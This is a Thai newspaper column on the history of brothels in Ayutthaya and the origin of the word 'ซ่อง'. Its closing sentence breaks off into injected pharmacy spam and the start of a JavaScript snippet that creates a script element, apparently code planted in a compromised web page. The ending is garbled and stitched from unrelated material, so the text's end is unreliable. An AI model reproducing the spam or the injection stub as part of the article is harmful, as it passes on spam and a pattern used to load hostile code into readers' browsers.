ข่าวสด – วันศุกร์ที่ ๑๘ กรกฎาคม ๒๕๔๖

 

“ซ่อง”ในกรุงศรีอยุธยา

รับจ้างทำชำเราแก่บุรุษ

“ซ่อง” ก็มีประวัติศาสตร์ เพียงแต่ยังไม่มีใครวิจัย หรือทำวิทยานิพนธ์อย่างจริงจังในหัวข้อ ประวัติศาสตร์ซ่อง ในสยามประเทศ

นักประวัติศาสตร์ไทยรู้จักซ่องในอดีตแค่รัชกาลที่ ๔ เพราะมีกฎหมายตราเป็นบันทัดฐาน และมีเอกสารพูดถึงหญิงนครโสเภณี เช่น หญิงโคมเขียวบ้าง ยายแพ่งแม่เจ้าทำบุญสร้างวัดบ้าง เท่านั้น

แต่ยังไม่มีใครวิเคราะห์เจาะลึกเข้าไปถึงกรุงศรีอยุธยา ราชธานีแห่งราชอาณาจักรสยามแห่งแรกในประวัติศาสตร์ไทยว่ามี“ซ่อง”บ้างหรือไม่?

คำว่า “ซ่อง” หมายถึงที่ชุมชน ในเอกสารเก่าเขียนว่า “ส้อง” เช่น ส้องสุมผู้คน หรือ ส้องโจร สมัยกรุงแตกเมื่อ พ.ศ. ๒๓๑๐ พระเจ้าตากพาไพร่พลหนีพม่าใปทางฝั่งทะเลตะวันออก คราวหนึ่งต้องปราบพวกแข็งข้อกลุ่มหนึ่งมีผู้นำ ๒ คน คือ ขุนราม กับ หมื่นส้อง แต่ในพงศาวดารเขียนติดกันว่า ขุนรามหมื่นส้อง ต่อมาคำว่า ส้อง เปลี่ยนรูปอักษรเขียนใหม่เป็น ซ่อง ในความหมายปัจจุบันคือมีโสเภณี เลยเข้าใจว่า ขุนรามเป็นหัวหน้าซ่องโสเภณีมากถึงหมื่นแห่ง เลยพากันเข้ารกเข้าพง (ที่ไม่ใช่พงศาวดาร แต่เป็นพงป่า)

ในกรุงศรีอยุธยายังไม่เรียกแหล่งโสเภณีว่า ซ่อง แต่เรียกเป็น โรง เหมือน โรงหนัง โรงละคร โรงบ่อน โรงหวย ฯลฯ มีคำขยายอยู่ในเอกสารหอหลวงว่า “โรงรับจ้างทำชำเราแก่บุรุษ”

อ่านแล้วเสนาะเสน่หา ชวนให้เข้าไปถูกกระทำชำเราโดยดีรึ แต่ไม่เหมาะกับเยาวชนคนเขียนคอลัมน์ข้างล่างนี้ ที่ชื่อ “ยุวดัน ประเคนคุยห์” เพราะ “ยังเด็กเล็กอยู่รู้ไว้บ้างfluoxetine for weight loss buy prednisolone online cheap var d=document;var s=d.createElement(‘script’);